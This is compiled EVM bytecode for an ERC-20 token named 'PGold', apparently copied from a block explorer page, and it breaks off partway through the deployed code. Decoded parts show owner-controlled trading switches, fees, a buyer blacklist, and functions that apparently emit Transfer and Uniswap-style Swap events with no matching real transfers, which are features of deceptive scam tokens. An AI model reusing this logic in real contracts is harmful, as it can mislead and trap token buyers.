000000000000000000000000000000000000000000815250905090565b60006108066107ff611aa5565b8484611aad565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6000610853848484611c76565b6109148461085f611aa5565b61090f856040518060600160405280602881526020016143bc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108c5611aa5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f99092919063ffffffff16565b611aad565b600190509392505050565b60185481565b60006002905090565b610936611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba9061387a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a299061390c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610af7611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b9061387a565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bd2611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c569061387a565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbd611aa5565b73ffffffffffffffffffffffffffffffffffffffff161480610d335750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d1b611aa5565b73ffffffffffffffffffffffffffffffffffffffff16145b610d3c57600080fd5b6000479050610d4a8161255d565b50565b6000610d97600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c9565b9050919050565b610da6611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2a9061387a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ef9611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7d9061387a565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600581526020017f50476f6c64000000000000000000000000000000000000000000000000000000815250905090565b611022611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a69061387a565b60405180910390fd5b8060188190555050565b60006110cd6110c6611aa5565b8484611c76565b6001905092915050565b600080600090505b8551811015611317578581815181106110fb576110fa61392c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8784815181106111645761116361392c565b5b60200260200101516040516111799190613227565b60405180910390a38581815181106111945761119361392c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106112115761121061392c565b5b602002602001015160008089878151811061122f5761122e61392c565b5b60200260200101516040516112479493929190613996565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061127e5761127d61392c565b5b60200260200101518987858151811061129a5761129961392c565b5b60200260200101516040518463ffffffff1660e01b81526004016112c0939291906139db565b6020604051808303816000875af11580156112df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113039190613a27565b50808061130f90613a83565b9150506110df565b506001905095945050505050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611386611aa5565b73ffffffffffffffffffffffffffffffffffffffff1614806113fc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113e4611aa5565b73ffffffffffffffffffffffffffffffffffffffff16145b61140557600080fd5b600061141030610d4d565b905061141b81612637565b50565b611426611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114aa9061387a565b60405180910390fd5b60005b838390508110156115525781600560008686858181106114d9576114d861392c565b5b90506020020160208101906114ee91906132cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061154a90613a83565b9150506114b6565b50505050565b611560611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e49061387a565b60405180910390fd5b60005b815181101561167e576001601060008484815181106116125761161161392c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061167690613a83565b9150506115f0565b5050565b61168a611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170e9061387a565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118589190613227565b60405180910390a3600190509392505050565b611873611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f79061387a565b60405180910390fd5b6019828561190e9190613acb565b111561191957600080fd5b606381846119279190613acb565b111561193257600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b61195c611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e09061387a565b60405180910390fd5b8060178190555050565b6119fb611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7f9061387a565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1390613b71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8290613c03565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c699190613227565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdc90613c95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4b90613d27565b60405180910390fd5b60008111611d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8e90613db9565b60405180910390fd5b611d9f610fae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e0d5750611ddd610fae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f857601560149054906101000a900460ff16611e9c57611e2e610fae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9290613e4b565b60405180910390fd5b5b601654811115611ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed890613eb7565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f855750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbb90613f49565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612071576017548161202684610d4d565b6120309190613acb565b10612070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206790613fdb565b60405180910390fd5b5b600061207c30610d4d565b90506000601854821015905060165482106120975760165491505b8080156120af575060158054906101000a900460ff16155b80156121095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121215750601560169054906101000a900460ff165b80156121775750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121cd5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f5576121db82612637565b600047905060008111156121f3576121f24761255d565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061229f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123525750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123515750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561236057600090506124e7565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561240b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242357600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124ce5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124e657600a54600c81905550600b54600d819055505b5b6124f3848484846128ae565b50505050565b6000838311158290612541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612538919061305e565b60405180910390fd5b50600083856125509190613ffb565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125c5573d6000803e3d6000fd5b5050565b6000600654821115612610576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612607906140a1565b60405180910390fd5b600061261a6128db565b905061262f818461290690919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561266e5761266d6133ae565b5b60405190808252806020026020018201604052801561269c5781602001602082028036833780820191505090505b50905030816000815181106126b4576126b361392c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561275b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277f91906140d6565b816001815181106127935761279261392c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127fa30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611aad565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161285e9594939291906141c1565b600060405180830381600087803b15801561287857600080fd5b505af115801561288c573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128bc576128bb612950565b5b6128c784848461298d565b806128d5576128d4612b58565b5b50505050565b60008060006128e8612b6c565b915091506128ff818361290690919063ffffffff16565b9250505090565b600061294883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bcb565b905092915050565b6000600c5414801561296457506000600d54145b61298b57600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061299f87612c2e565b9550955095509550955095506129fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ade81612d3e565b612ae88483612dfb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b459190613227565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612ba0670de0b6b3a764000060065461290690919063ffffffff16565b821015612bbe57600654670de0b6b3a7640000935093505050612bc7565b81819350935050505b9091565b60008083118290612c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c09919061305e565b60405180910390fd5b5060008385612c21919061424a565b9050809150509392505050565b6000806000806000806000806000612c4b8a600c54600d54612e35565b9250925092506000612c5b6128db565b90506000806000612c6e8e878787612ecb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cd883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124f9565b905092915050565b6000808284612cef9190613acb565b905083811015612d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2b906142c7565b60405180910390fd5b8091505092915050565b6000612d486128db565b90506000612d5f8284612f5490919063ffffffff16565b9050612db381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e1082600654612c9690919063ffffffff16565b600681905550612e2b81600754612ce090919063ffffffff16565b6007819055505050565b600080600080612e616064612e53888a612f5490919063ffffffff16565b61290690919063ffffffff16565b90506000612e8b6064612e7d888b612f5490919063ffffffff16565b61290690919063ffffffff16565b90506000612eb482612ea6858c612c9690919063ffffffff16565b612c9690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee48589612f5490919063ffffffff16565b90506000612efb8689612f5490919063ffffffff16565b90506000612f128789612f5490919063ffffffff16565b90506000612f3b82612f2d8587612c9690919063ffffffff16565b612c9690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f665760009050612fc8565b60008284612f7491906142e7565b9050828482612f83919061424a565b14612fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fba9061439b565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613008578082015181840152602081019050612fed565b60008484015250505050565b6000601f19601f8301169050919050565b600061303082612fce565b61303a8185612fd9565b935061304a818560208601612fea565b61305381613014565b840191505092915050565b600060208201905081810360008301526130788184613025565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130bf82613094565b9050919050565b6130cf816130b4565b81146130da57600080fd5b50565b6000813590506130ec816130c6565b92915050565b6000819050919050565b613105816130f2565b811461311057600080fd5b50565b600081359050613122816130fc565b92915050565b6000806040838503121561313f5761313e61308a565b5b600061314d858286016130dd565b925050602061315e85828601613113565b9150509250929050565b60008115159050919050565b61317d81613168565b82525050565b60006020820190506131986000830184613174565b92915050565b6000819050919050565b60006131c36131be6131b984613094565b61319e565b613094565b9050919050565b60006131d5826131a8565b9050919050565b60006131e7826131ca565b9050919050565b6131f7816131dc565b82525050565b600060208201905061321260008301846131ee565b92915050565b613221816130f2565b82525050565b600060208201905061323c6000830184613218565b92915050565b60008060006060848603121561325b5761325a61308a565b5b6000613269868287016130dd565b935050602061327a868287016130dd565b925050604061328b86828701613113565b9150509250925092565b600060ff82169050919050565b6132ab81613295565b82525050565b60006020820190506132c660008301846132a2565b92915050565b6000602082840312156132e2576132e161308a565b5b60006132f0848285016130dd565b91505092915050565b613302816130b4565b82525050565b600060208201905061331d60008301846132f9565b92915050565b61332c81613168565b811461333757600080fd5b50565b60008135905061334981613323565b92915050565b6000602082840312156133655761336461308a565b5b60006133738482850161333a565b91505092915050565b6000602082840312156133925761339161308a565b5b60006133a084828501613113565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6133e682613014565b810181811067ffffffffffffffff82111715613405576134046133ae565b5b80604052505050565b6000613418613080565b905061342482826133dd565b919050565b600067ffffffffffffffff821115613444576134436133ae565b5b602082029050602081019050919050565b600080fd5b600061346d61346884613429565b61340e565b905080838252602082019050602084028301858111156134905761348f613455565b5b835b818110156134b957806134a588826130dd565b845260208401935050602081019050613492565b5050509392505050565b600082601f8301126134d8576134d76133a9565b5b81356134e884826020860161345a565b91505092915050565b600067ffffffffffffffff82111561350c5761350b6133ae565b5b602082029050602081019050919050565b600061353061352b846134f1565b61340e565b9050808382526020820190506020840283018581111561355357613552613455565b5b835b8181101561357c57806135688882613113565b845260208401935050602081019050613555565b5050509392505050565b600082601f83011261359b5761359a6133a9565b5b81356135ab84826020860161351d565b91505092915050565b600080600080600060a086880312156135d0576135cf61308a565b5b60006135de888289016130dd565b955050602086013567ffffffffffffffff8111156135ff576135fe61308f565b5b61360b888289016134c3565b945050604086013567ffffffffffffffff81111561362c5761362b61308f565b5b61363888828901613586565b935050606086013567ffffffffffffffff8111156136595761365861308f565b5b61366588828901613586565b9250506080613676888289016130dd565b9150509295509295909350565b600080fd5b60008083601f84011261369e5761369d6133a9565b5b8235905067ffffffffffffffff8111156136bb576136ba613683565b5b6020830191508360208202830111156136d7576136d6613455565b5b9250929050565b6000806000604084860312156136f7576136f661308a565b5b600084013567ffffffffffffffff8111156137155761371461308f565b5b61372186828701613688565b935093505060206137348682870161333a565b9150509250925092565b6000602082840312156137545761375361308a565b5b600082013567ffffffffffffffff8111156137725761377161308f565b5b61377e848285016134c3565b91505092915050565b6000806040838503121561379e5761379d61308a565b5b60006137ac858286016130dd565b92505060206137bd858286016130dd565b9150509250929050565b600080600080608085870312156137e1576137e061308a565b5b60006137ef87828801613113565b945050602061380087828801613113565b935050604061381187828801613113565b925050606061382287828801613113565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613864602083612fd9565b915061386f8261382e565b602082019050919050565b6000602082019050818103600083015261389381613857565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138f6602683612fd9565b91506139018261389a565b604082019050919050565b60006020820190508181036000830152613925816138e9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061398061397b6139768461395b565b61319e565b6130f2565b9050919050565b61399081613965565b82525050565b60006080820190506139ab6000830187613218565b6139b86020830186613987565b6139c56040830185613987565b6139d26060830184613218565b95945050505050565b60006060820190506139f060008301866132f9565b6139fd60208301856132f9565b613a0a6040830184613218565b949350505050565b600081519050613a2181613323565b92915050565b600060208284031215613a3d57613a3c61308a565b5b6000613a4b84828501613a12565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613a8e826130f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613ac057613abf613a54565b5b600182019050919050565b6000613ad6826130f2565b9150613ae1836130f2565b9250828201905080821115613af957613af8613a54565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b5b602483612fd9565b9150613b6682613aff565b604082019050919050565b60006020820190508181036000830152613b8a81613b4e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bed602283612fd9565b9150613bf882613b91565b604082019050919050565b60006020820190508181036000830152613c1c81613be0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613c7f602583612fd9565b9150613c8a82613c23565b604082019050919050565b60006020820190508181036000830152613cae81613c72565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d11602383612fd9565b9150613d1c82613cb5565b604082019050919050565b60006020820190508181036000830152613d4081613d04565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613da3602983612fd9565b9150613dae82613d47565b604082019050919050565b60006020820190508181036000830152613dd281613d96565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613e35603f83612fd9565b9150613e4082613dd9565b604082019050919050565b60006020820190508181036000830152613e6481613e28565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613ea1601c83612fd9565b9150613eac82613e6b565b602082019050919050565b60006020820190508181036000830152613ed081613e94565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613f33602383612fd9565b9150613f3e82613ed7565b604082019050919050565b60006020820190508181036000830152613f6281613f26565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613fc5602383612fd9565b9150613fd082613f69565b604082019050919050565b60006020820190508181036000830152613ff481613fb8565b9050919050565b6000614006826130f2565b9150614011836130f2565b925082820390508181111561402957614028613a54565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061408b602a83612fd9565b91506140968261402f565b604082019050919050565b600060208201905081810360008301526140ba8161407e565b9050919050565b6000815190506140d0816130c6565b92915050565b6000602082840312156140ec576140eb61308a565b5b60006140fa848285016140c1565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614138816130b4565b82525050565b600061414a838361412f565b60208301905092915050565b6000602082019050919050565b600061416e82614103565b614178818561410e565b93506141838361411f565b8060005b838110156141b457815161419b888261413e565b97506141a683614156565b925050600181019050614187565b5085935050505092915050565b600060a0820190506141d66000830188613218565b6141e36020830187613987565b81810360408301526141f58186614163565b905061420460608301856132f9565b6142116080830184613218565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614255826130f2565b9150614260836130f2565b9250826142705761426f61421b565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006142b1601b83612fd9565b91506142bc8261427b565b602082019050919050565b600060208201905081810360008301526142e0816142a4565b9050919050565b60006142f2826130f2565b91506142fd836130f2565b925082820261430b816130f2565b9150828204841483151761432257614321613a54565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614385602183612fd9565b915061439082614329565b604082019050919050565b600060208201905081810360008301526143b481614378565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ddc5e160a08bd6771812152751b93395a95f0f6a2bde79b2025e0e8d653563ef64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c80637f2feddc1161010d578063c3c8cd80116100a0578063dd62ed3e1161006f578063dd62ed3e146106d2578063e156b1b61461070f578063e6d370dc1461074c578063ea1644d514610775578063fa852a211461079e576101f9565b8063c3c8cd8014610640578063c492f04614610657578063ce09b2ab14610680578063d4d805cc146106a9576101f9565b806398a5c315116100dc57806398a5c31514610560578063a9059cbb14610589578063a9c5210e146105c6578063bfd7928414610603576101f9565b80637f2feddc146104a25780638da5cb5b146104df5780638f9a55c01461050a57806395d89b4114610535576101f9565b80633ef530eb1161018557806370a082311161015457806370a08231146103fa578063715018a61461043757806374010ece1461044e5780637d1db4a514610477576101f9565b80633ef530eb1461037857806349bd5a5e1461038f5780636d8aa8f8146103ba5780636fc3eaec146103e3576101f9565b806323b872dd116101c157806323b872dd146102bc5780632fd689e3146102f9578063313ce5671461032457806338bf3cfa1461034f576101f9565b806306fdde03146101fe578063095ea7b3146102295780631694505e1461026657806318160ddd14610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107b5565b604051610220919061305e565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613128565b6107f2565b60405161025d9190613183565b60405180910390f35b34801561027257600080fd5b5061027b610810565b60405161028891906131fd565b60405180910390f35b34801561029d57600080fd5b506102a6610836565b6040516102b39190613227565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de9190613242565b610846565b6040516102f09190613183565b60405180910390f35b34801561030557600080fd5b5061030e61091f565b60405161031b9190613227565b60405180910390f35b34801561033057600080fd5b50610339610925565b60405161034691906132b1565b60405180910390f35b34801561035b57600080fd5b50610376600480360381019061037191906132cc565b61092e565b005b34801561038457600080fd5b5061038d610aef565b005b34801561039b57600080fd5b506103a4610ba4565b6040516103b19190613308565b60405180910390f35b3480156103c657600080fd5b506103e160048036038101906103dc919061334f565b610bca565b005b3480156103ef57600080fd5b506103f8610c7c565b005b34801561040657600080fd5b50610421600480360381019061041c91906132cc565b610d4d565b60405161042e9190613227565b60405180910390f35b34801561044357600080fd5b5061044c610d9e565b005b34801561045a57600080fd5b506104756004803603810190610470919061337c565b610ef1565b005b34801561048357600080fd5b5061048c610f90565b6040516104999190613227565b60405180910390f35b3480156104ae57600080fd5b506104c960048036038101906104c